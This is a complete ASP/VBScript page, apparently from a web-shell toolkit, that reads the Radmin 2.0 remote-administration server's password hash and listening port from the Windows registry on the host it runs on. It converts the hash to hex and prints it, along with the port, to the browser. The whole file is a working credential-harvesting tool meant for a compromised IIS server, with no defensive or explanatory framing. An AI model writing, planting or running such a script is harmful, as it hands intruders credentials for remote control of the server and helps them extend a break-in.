<% '========================================Main====================================== Set WSH= Server.CreateObject("Wscript.shell") RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" Parameter="Parameter" Port = "Port" ParameterArray=WSH.Regread(RadminPath & Parameter ) Response.write "The Result of Radmin Hash" Response.write "<br><br>" Response.write Parameter&":" '=========== ReadPassWord ========= If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If   Len (hex(ParameterArray(i)))=1 Then  strObj = strObj & "0" & CStr(Hex(ParameterArray(i))) Else strObj = strObj & Hex(ParameterArray(i)) End If  Next response.write Lcase(strobj) Else response.write "Error! Can't Read!" End If Response.write "<br><br>" '=========== ReadPort ========= PortArray=WSH.REGREAD(RadminPath & Port ) If IsArray(PortArray) Then  Response.write Port &":"  Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) Else  Response.write "Error! Can't Read!" End If '=============hex TO int========== Function hextointer(strin)  Dim i, j, k, result  result = 0  For i = 1 To Len(strin)  If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then  j = 15  End If  If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then  j = 14  End If  If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then  j = 13  End If  If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then  j = 12  End If  If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then  j = 11  End If  If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then  j = 10  End If  If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then  j = CInt(Mid(strin, i, 1))  End If  For k = 1 To Len(strin) - i  j = j * 16  Next  result = result + j  Next  hextointer = result  End Function '================ End ========== %>